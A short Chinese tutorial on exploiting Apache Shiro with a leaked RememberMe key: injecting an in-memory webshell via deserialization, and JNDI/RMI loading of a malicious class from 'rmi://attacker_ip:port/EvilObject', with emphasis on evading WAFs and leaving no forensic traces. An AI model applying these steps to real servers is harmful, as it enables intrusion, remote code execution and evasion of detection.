### Shiro 有 Key 无链怎么利用 **1. 内存马注入** 这是目前最主流且最有效的利用方法之一。如果能通过反序列化注入一个内存马,我们就可以直接与服务器进行交互,绕过 WAF、IDS 等安全设备,并且不留下任何磁盘文件 **利用原理**: - **自定义反序列化类**:我们需要构造一个恶意的序列化数据,其中包含一个自定义的类 - **反射机制**:这个自定义类在反序列化时,其 `readObject` 方法会被调用。我们利用反射机制,在 `readObject` 方法中获取当前应用的 `ServletContext` - **注入 Webshell**:有了 `ServletContext`,我们就可以动态地注册一个 Servlet、Filter 或者 Listener,从而注入一个内存 Webshell **具体步骤**: 1. **编写内存马代码**:使用 Java 编写一个内存马,通常是一个 Filter 或 Servlet,用于接收请求并执行命令 2. **构造恶意序列化数据**:将内存马代码嵌入到序列化数据中 3. **加密**:使用泄露的 Shiro Key,对这个序列化数据进行 AES 加密 4. **发送请求**:将加密后的数据作为 RememberMe cookie 的值发送到服务器 5. **反序列化**:Shiro 框架会解密并反序列化这个 cookie,从而触发我们的恶意代码,实现内存马注入 **优势**: - **绕过传统安全设备**:内存马直接运行在内存中,不依赖于文件,因此可以绕过绝大部分基于文件扫描的 WAF 和杀毒软件 - **无文件落地**:攻击不留下任何磁盘痕迹,增加了溯源的难度 **2. RMI 远程加载** 这种方法利用了 Java 的远程方法调用(RMI)机制,通过反序列化来触发远程加载恶意代码 **利用原理**: - **JNDI 注入**:反序列化时,我们可以构造一个 `com.sun.jndi.rmi.registry.RegistryContext` 对象,通过 JNDI 注入的方式,让服务器去连接一个我们控制的 RMI 服务器 - **远程加载 Class 文件**:RMI 服务器会返回一个恶意对象,该对象会触发服务器远程加载并实例化我们提供的恶意 Class 文件 **具体步骤**: 1. **搭建 RMI Server**:利用 `ysoserial` 或自定义代码搭建一个恶意的 RMI 服务器 2. **编写恶意 Class**:编写一个恶意的 Class 文件,其中包含要执行的命令 3. **构造恶意序列化数据**:构造一个包含 JNDI 注入链接的序列化数据,例如 `rmi://attacker_ip:port/EvilObject` 4. **加密并发送**:使用 Shiro Key 对数据进行加密,并作为 RememberMe cookie 发送 5. **反序列化触发**:服务器反序列化时,会触发 JNDI 注入,连接我们的 RMI 服务器并加载恶意 Class,最终实现命令执行 **限制**: - 需要目标服务器能够访问外网或者我们内网的 RMI 服务器 - Java 版本对 JNDI 注入有一定限制,高版本可能需要额外配置